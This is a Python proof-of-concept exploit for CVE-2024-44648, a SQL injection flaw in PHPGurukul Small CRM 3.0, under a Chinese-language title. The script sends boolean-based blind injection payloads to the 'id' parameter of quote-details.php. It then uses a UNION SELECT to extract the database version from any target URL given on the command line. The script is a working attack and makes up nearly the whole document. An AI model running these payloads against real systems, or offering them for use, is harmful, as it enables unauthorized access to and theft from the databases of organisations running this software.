CVE-2024-44648: PHPGurukul Small CRM 3.0 SQL注入漏洞

import requests import sys # CVE-2024-44648 PoC - SQL Injection in PHPGurukul Small CRM 3.0 # Target: quote-details.php via id and adminremark parameters def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2024-44648 This PoC demonstrates the vulnerability using boolean-based blind injection """ # Test basic injection on 'id' parameter print("[*] Testing SQL Injection on id parameter...") # Normal request normal_payload = f"{target_url}/quote-details.php?id=1" # Boolean-based injection test true_payload = f"{target_url}/quote-details.php?id=1' AND 1=1 --+" false_payload = f"{target_url}/quote-details.php?id=1' AND 1=2 --+" try: # Check if application is vulnerable r_normal = requests.get(normal_payload, timeout=10) r_true = requests.get(true_payload, timeout=10) r_false = requests.get(false_payload, timeout=10) if r_true.status_code == r_normal.status_code and r_false.status_code != r_normal.status_code: print("[+] Vulnerability confirmed! Application is vulnerable to SQL Injection") # Extract database version using UNION injection union_payload = f"{target_url}/quote-details.php?id=1' UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12 --+" print(f"[*] Extracting database version...") r_union = requests.get(union_payload, timeout=10) if '5.' in r_union.text or '8.' in r_union.text: print("[+] Database version extracted successfully") else: print("[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def main(): if len(sys.argv) < 2: print("Usage: python cve-2024-44648.py <target_url>") print("Example: python cve-2024-44648.py http://localhost/small-crm") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target) if __name__ == "__main__": main()